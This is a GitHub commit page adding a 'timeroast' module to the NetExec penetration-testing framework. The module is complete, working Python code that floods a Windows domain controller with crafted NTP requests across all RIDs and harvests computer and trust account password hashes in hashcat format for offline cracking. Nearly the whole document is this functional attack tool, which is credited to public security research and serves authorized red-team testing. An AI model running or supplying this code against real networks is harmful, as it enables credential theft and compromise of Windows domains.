Skip to content

Commit 2413548

Browse files
authored
Merge pull request Pennyw0rth#311 from Disgame/timeroast_module
Timeroast module
2 parents 45db7e6 + d7d7505 commit 2413548

1 file changed

Lines changed: 112 additions & 0 deletions

File tree

nxc/modules/timeroast.py

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
from binascii import hexlify, unhexlify
2+
from select import select
3+
from time import time
4+
from socket import socket, AF_INET, SOCK_DGRAM
5+
from struct import pack, unpack
6+
7+
8+
9+
def hashcat_format(rid, hashval, salt):
10+
"""Encodes hash in Hashcat-compatible format (with username prefix)."""
11+
return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}"
12+
13+
class NXCModule:
14+
"""
15+
Module by Disgame: @Disgame
16+
Based on research from SecuraBV (@SecuraBV)
17+
18+
https://github.com/SecuraBV/Timeroast/
19+
20+
Much of this code was copied from the original implementation.
21+
"""
22+
23+
name = "timeroast"
24+
description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account"
25+
supported_protocols = ["smb"]
26+
opsec_safe = True
27+
multiple_hosts = False
28+
29+
def __init__(self):
30+
self.context = None
31+
self.module_options = None
32+
33+
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
34+
self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a")
35+
36+
37+
def options(self, context, module_options):
38+
self.rids = range(1, 2**31)
39+
self.rate = 180
40+
self.timeout = 24
41+
self.src_port = 0
42+
self.old_hashes = False
43+
self.target = None
44+
45+
if "rids" in module_options:
46+
self.rids = module_options["rids"]
47+
if "rate" in module_options:
48+
self.rate = module_options["rate"]
49+
if "timeout" in module_options:
50+
self.timeout = module_options["timeout"]
51+
if "src_port" in module_options:
52+
self.src_port = module_options["src_port"]
53+
if "old_hashes" in module_options:
54+
self.old_hashes = module_options["old_hashes"]
55+
56+
def on_login(self, context, connection):
57+
if self.target is None:
58+
self.target = connection.host
59+
60+
context.log.display("Starting Timeroasting...")
61+
62+
for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port):
63+
context.log.highlight(hashcat_format(rid, md5hash, salt))
64+
65+
def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0):
66+
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
67+
Rate is the number of queries per second to send.
68+
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
69+
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
70+
issues.
71+
72+
Yields (rid, hash, salt) pairs, where salt is the NTP response data.
73+
"""
74+
# Flag in key identifier that indicates whether the old or new password should be used.
75+
keyflag = 2**31 if old_pwd else 0
76+
77+
# Bind UDP socket.
78+
with socket(AF_INET, SOCK_DGRAM) as sock:
79+
try:
80+
sock.bind(("0.0.0.0", src_port))
81+
except PermissionError:
82+
context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.")
83+
84+
85+
query_interval = 1 / rate
86+
last_ok_time = time()
87+
rids_received = set()
88+
rid_iterator = iter(rids)
89+
90+
while time() < last_ok_time + giveup_time:
91+
# Send out query for the next RID, if any.
92+
query_rid = next(rid_iterator, None)
93+
if query_rid is not None:
94+
query = self.ntp_prefix + pack("<I", query_rid ^ keyflag) + b"\x00" * 16
95+
sock.sendto(query, (dc_host, 123))
96+
97+
# Wait for either a response or time to send the next query.
98+
ready, [], [] = select([sock], [], [], query_interval)
99+
if ready:
100+
reply = sock.recvfrom(120)[0]
101+
102+
# Extract RID, hash and "salt" if succesful.
103+
if len(reply) == 68:
104+
salt = reply[:48]
105+
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
106+
md5hash = reply[-16:]
107+
108+
# Filter out duplicates.
109+
if answer_rid not in rids_received:
110+
rids_received.add(answer_rid)
111+
yield answer_rid, md5hash, salt
112+
last_ok_time = time()

0 commit comments

Comments
 (0)